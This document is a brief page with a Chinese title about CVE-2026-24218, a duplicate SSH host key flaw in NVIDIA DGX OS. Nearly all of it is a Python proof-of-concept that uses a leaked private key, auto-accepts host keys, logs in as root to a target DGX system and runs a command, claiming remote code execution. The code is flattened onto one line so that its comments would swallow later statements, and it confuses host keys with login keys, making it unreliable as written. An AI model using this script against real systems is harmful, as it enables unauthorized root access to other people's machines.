CVE-2026-24218 NVIDIA DGX OS SSH主机密钥重复漏洞

#!/usr/bin/env python3 # Proof of Concept: Check for duplicate SSH host keys or connect using a leaked key. import paramiko import socket # Assume we extracted the private key from a compromised image PRIVATE_KEY_PATH = "id_rsa_leaked" TARGET_HOST = "target-dgx-system-ip" try: # Initialize SSH client ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # Accepts the host key automatically # Attempt to connect using the leaked private key (assuming user access is obtained or key auth is forced) # Note: In a real scenario, this demonstrates the risk of shared keys allowing impersonation. private_key = paramiko.RSAKey.from_private_key_file(PRIVATE_KEY_PATH) print(f"[*] Attempting to connect to {TARGET_HOST} using leaked key...") ssh.connect(TARGET_HOST, username='root', pkey=private_key) # Execute command to show control stdin, stdout, stderr = ssh.exec_command('uname -a') print(stdout.read().decode()) print("[+] Exploit successful: Remote code execution achieved via shared key.") ssh.close() except Exception as e: print(f"[-] Connection failed: {e}")